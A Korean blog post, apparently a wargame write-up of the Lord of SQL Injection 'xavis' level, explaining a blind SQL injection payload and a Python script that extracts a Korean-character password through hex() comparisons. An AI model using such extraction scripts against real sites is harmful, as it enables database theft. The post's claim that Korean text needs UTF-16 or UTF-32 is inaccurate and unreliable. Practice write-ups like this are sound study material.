Blind SQL Injection 문제로 보여집니다.
추가된 필터링은 regex, like 이며 해당 함수는 정규 표현식을 사용하는데 쓰여집니다.
이 문제는 저한테 좀 버거웠네요.. 힌트도 구하고 참고도 했습니다 ㅜ
우선 항상 하던 것처럼 pw의 길이를 구해야 합니다.
매번 8자리의 문자열이었는데 이번에는 그보다 상당히 컸습니다.
40자리의 pw 길이였습니다.
이렇게 하고 평소처럼 ascii code표에 대응하는 비밀번호들을 하나씩 비교해봤는데 전혀 나오지 않았습니다.
' or substr(pw,1,1)='0'#
너무 막혀서 HINT를 구했는데.
우리가 읽을 수 없는 문자열이고, 한글이라는 이야기를 알게 되었습니다.
흔히 쓰는 영어랑 숫자는 1byte로 표현이 가능하지만 한글은 2byte가 있어야 표현을 할 수 있습니다.
그래서 영어를 사용하는 나라들은 UTF-8로 표현이 가능하게 됩니다.
하지만 우리나라, 중국, 일본과 같은 문자를 사용하는 나라들은 최소 2byte가 필요하여 UTF-16이나 UTF-32를 사용해야 문자를 표현할 수 있습니다.
문자 하나의 길이를 알아보고자 다음과 같이 substring()으로 문자 하나를 가져와 길이를 구해보니 4byte로 나오게 됩니다.
그렇게 10번째도 확인하고 11번째 문자도 확인해보니 11번째 문자에서는 "Hello guest"가 나오는 것을 보면
총 10자리 수의 unicode 문자열이 기록되어 있는 것을 알 수 있습니다.
그러다 Blind SQLI로 한글을 가져올 때 hex()값을 이용할 수 있다는 것을 알게 되었습니다.
hex(pw)의 길이를 구하면 80으로 나오게 됩니다.
이 정보를 가지고 hex값을 이용해서 하나씩 추출해보면 값이 나오고 해당 값을 hex decode하면 password가 만들어 집니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | import requests cookies= {'PHPSESSID':'YourCookieValue'} url = 'https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?' index_list = range(48,58)+range(97,123) #0~9, a~z password = '' for i in range(1,81): for j in index_list: query = "pw=' or substr(hex(pw),"+str(i)+",1)='"+chr(j)+"'%23" payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): password += chr(j) print("password: "+password) break print ("password : "+password) | cs |
항상 영어나 숫자로만 된 값을 가져오기만 해서 그런지 unicode라는 생각을 하기 힘들었습니다,
처음 보는 유형이라 쉽지 않네요 ㅜ..
[참고]
Blind SQL Injection를 이용하여 한글 가져오기!: http://zulloper.tistory.com/119
문자열 인코딩에 대한 정리: https://lng1982.tistory.com/233
'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글
[LOS] iron_golem (1) | 2018.10.11 |
---|---|
[LOS] dragon (0) | 2018.10.10 |
[LOS] nigthmare (0) | 2018.10.08 |
[LOS] succubus (0) | 2018.10.08 |
[LOS] zombie_assassin (0) | 2018.10.08 |